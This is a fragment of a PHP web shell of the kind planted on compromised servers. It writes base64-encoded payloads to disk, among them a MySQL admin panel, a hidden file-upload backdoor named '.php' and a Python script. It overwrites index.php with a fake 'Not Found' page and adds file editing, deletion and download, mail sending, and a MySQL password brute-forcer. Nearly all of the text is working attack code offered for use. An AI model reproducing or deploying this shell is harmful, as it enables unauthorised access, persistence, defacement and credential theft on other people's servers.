ZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Develop by D4rkj1n
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "D4rkj1n~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiA